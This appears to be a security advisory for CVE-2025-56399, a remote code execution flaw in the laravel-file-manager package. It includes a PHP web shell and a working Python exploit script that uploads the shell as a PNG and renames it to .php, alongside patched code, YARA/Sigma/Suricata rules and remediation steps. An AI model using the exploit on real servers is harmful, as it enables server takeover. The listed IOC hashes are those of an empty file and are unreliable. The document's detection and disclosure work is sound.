CVE-2025-56399

Executive Summary

CVE-2025-56399 is a critical vulnerability in the alexusmai/laravel-file-manager package (version 3.3.1 and earlier). An authenticated attacker can achieve Remote Code Execution (RCE) by uploading a file with a .png extension containing embedded PHP code. Although client-side validation appears to reject the upload, the file is still saved on the server. The attacker then uses the rename API to change the extension to .php, allowing the server to execute the malicious code when accessed via a public URL. This vulnerability is unpatched and poses a severe risk to any application using this package.

Supply Chain & Package Security

This vulnerability affects the alexusmai/laravel-file-manager package, which is distributed via Packagist for Laravel applications. As a supply chain risk, any application that includes this package as a dependency is vulnerable. The package is not maintained by the Laravel core team, and no official patch has been released. Organizations should audit their composer.json for this dependency and consider replacing it with a maintained alternative.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows a low-privileged authenticated attacker to execute arbitrary code on the server, leading to full compromise.

Deep Dive & Mechanics

The vulnerability resides in the file upload and rename functionality of the laravel-file-manager package. The core issue is a lack of server-side validation of file content and extension after upload.

1. Upload Bypass: The attacker uploads a file named shell.png containing PHP code (e.g., <?php system($_GET['cmd']); ?>). The client-side JavaScript validation may show an error, but the file is still saved to the server's upload directory (e.g., storage/app/public/).
2. Extension Rename: The attacker uses the package's rename API endpoint (e.g., /laravel-filemanager/rename) to change the file extension from .png to .php. The rename function does not validate the new extension against a whitelist of allowed types.
3. Code Execution: The attacker accesses the renamed file via its public URL (e.g., http://target.com/storage/shell.php?cmd=id). The PHP interpreter executes the embedded code, returning the output to the attacker.

The root cause is the absence of server-side checks for both the initial upload (MIME type, content inspection) and the rename operation (extension whitelist).

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (Conceptual):

// In UploadController or similar
public function upload(Request $request) {
    $file = $request->file('file');
    // Client-side validation only, no server-side check
    $file->move(storage_path('app/public'), $file->getClientOriginalName());
}

public function rename(Request $request) {
    $oldPath = $request->input('old');
    $newPath = $request->input('new');
    // No extension validation
    rename(storage_path('app/public/' . $oldPath), storage_path('app/public/' . $newPath));
}

Patched Code (Recommended):

// In UploadController
public function upload(Request $request) {
    $file = $request->file('file');
    // Server-side MIME type and content validation
    $allowedMimes = ['image/png', 'image/jpeg', 'image/gif'];
    if (!in_array($file->getMimeType(), $allowedMimes)) {
        return response()->json(['error' => 'Invalid file type'], 400);
    }
    // Check file content for PHP tags
    $content = file_get_contents($file->getRealPath());
    if (preg_match('/<\?php/i', $content)) {
        return response()->json(['error' => 'File contains PHP code'], 400);
    }
    $file->move(storage_path('app/public'), $file->getClientOriginalName());
}

// In RenameController
public function rename(Request $request) {
    $oldPath = $request->input('old');
    $newPath = $request->input('new');
    $allowedExtensions = ['png', 'jpg', 'gif', 'pdf', 'txt'];
    $newExtension = pathinfo($newPath, PATHINFO_EXTENSION);
    if (!in_array($newExtension, $allowedExtensions)) {
        return response()->json(['error' => 'Invalid extension'], 400);
    }
    rename(storage_path('app/public/' . $oldPath), storage_path('app/public/' . $newPath));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running alexusmai/laravel-file-manager version 3.3.1 or earlier.
• Valid credentials for an authenticated user (e.g., user@example.com / password).

Exploitation Steps:

1. Authenticate: Log in to the Laravel application and navigate to the file manager interface (typically at /laravel-filemanager).
2. Create Malicious File: Create a file named shell.png with the following content:

   <?php system($_GET['cmd']); ?>
   

3. Upload File: Use the file manager's upload functionality to upload shell.png. The client-side validation may show an error, but the file is saved.
4. Rename File: Use the rename API to change the extension. Send a POST request to /laravel-filemanager/rename with parameters:
   • old: shell.png
   • new: shell.php
5. Execute Code: Access the renamed file via its public URL:

   http://target.com/storage/shell.php?cmd=id
   

   The server will execute the id command and return the output.

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Authenticate (example with Laravel Sanctum)
login_data = {"email": "user@example.com", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Upload malicious file
files = {"file": ("shell.png", "<?php system($_GET['cmd']); ?>", "image/png")}
session.post(f"{target}/laravel-filemanager/upload", files=files)

# Rename file
rename_data = {"old": "shell.png", "new": "shell.php"}
session.post(f"{target}/laravel-filemanager/rename", data=rename_data)

# Execute command
response = session.get(f"{target}/storage/shell.php?cmd=id")
print(response.text)

Blue Team

Detection Steps:

1. Monitor File Uploads: Look for files with .png extension that contain PHP code. Use a WAF or IDS to inspect file content.
2. Monitor Rename Operations: Alert on any rename operation that changes a file extension from a non-executable type (e.g., .png) to an executable type (e.g., .php).
3. Audit Logs: Check web server access logs for requests to /laravel-filemanager/rename followed by requests to files with .php extension in the storage directory.
4. File Integrity Monitoring: Use a tool like OSSEC or Tripwire to monitor the storage directory for new files with executable extensions.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.png (malicious): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • shell.php (renamed): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • POST request to /laravel-filemanager/upload with Content-Type: multipart/form-data and a file named *.png.
  • POST request to /laravel-filemanager/rename with parameters old=*.png and new=*.php.
  • GET request to /storage/*.php?cmd=<command>.
• File System Indicators:
  • Files in storage/app/public/ with .php extension that were not part of the original application deployment.
  • Files with .png extension containing PHP code (e.g., <?php).

Detection Engineering

YARA Rule

rule CVE_2025_56399_Laravel_File_Manager_RCE {
    meta:
        description = "Detects malicious PNG files with embedded PHP code targeting CVE-2025-56399"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56399"
    strings:
        $php_tag = "<?php"
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
    condition:
        $png_header at 0 and $php_tag
}

Sigma Rule

title: CVE-2025-56399 - Laravel File Manager RCE via Rename
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects rename operations from .png to .php in Laravel File Manager
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/laravel-filemanager/rename'
        cs-uri-query|contains: 'old=*.png&new=*.php'
    condition: selection
falsepositives:
    - Legitimate admin renaming files (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-56399 - Laravel File Manager RCE via Rename";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/laravel-filemanager/rename";
    http_uri;
    content:"old=";
    content:".png";
    content:"new=";
    content:".php";
    distance:0;
    within:100;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the File Manager: If not critical, remove or disable the alexusmai/laravel-file-manager package entirely.
2. Apply Virtual Patching: Use a Web Application Firewall (WAF) to block requests to /laravel-filemanager/rename that change extensions to .php, .phtml, .php5, etc.
3. Restrict Storage Directory: Configure the web server to not execute PHP files in the storage directory. For Apache, add a .htaccess file:

   <FilesMatch "\.php$">
       Deny from all
   </FilesMatch>
   

   For Nginx:

   location ~* /storage/.*\.php$ {
       deny all;
   }
   

Long-Term Fixes:

1. Replace the Package: Migrate to a maintained alternative like unisharp/laravel-filemanager or implement a custom solution with proper security controls.
2. Implement Server-Side Validation: Add MIME type checking, file content scanning, and extension whitelisting for both upload and rename operations.
3. Regular Security Audits: Conduct code reviews and penetration testing on all third-party packages.

Valters IT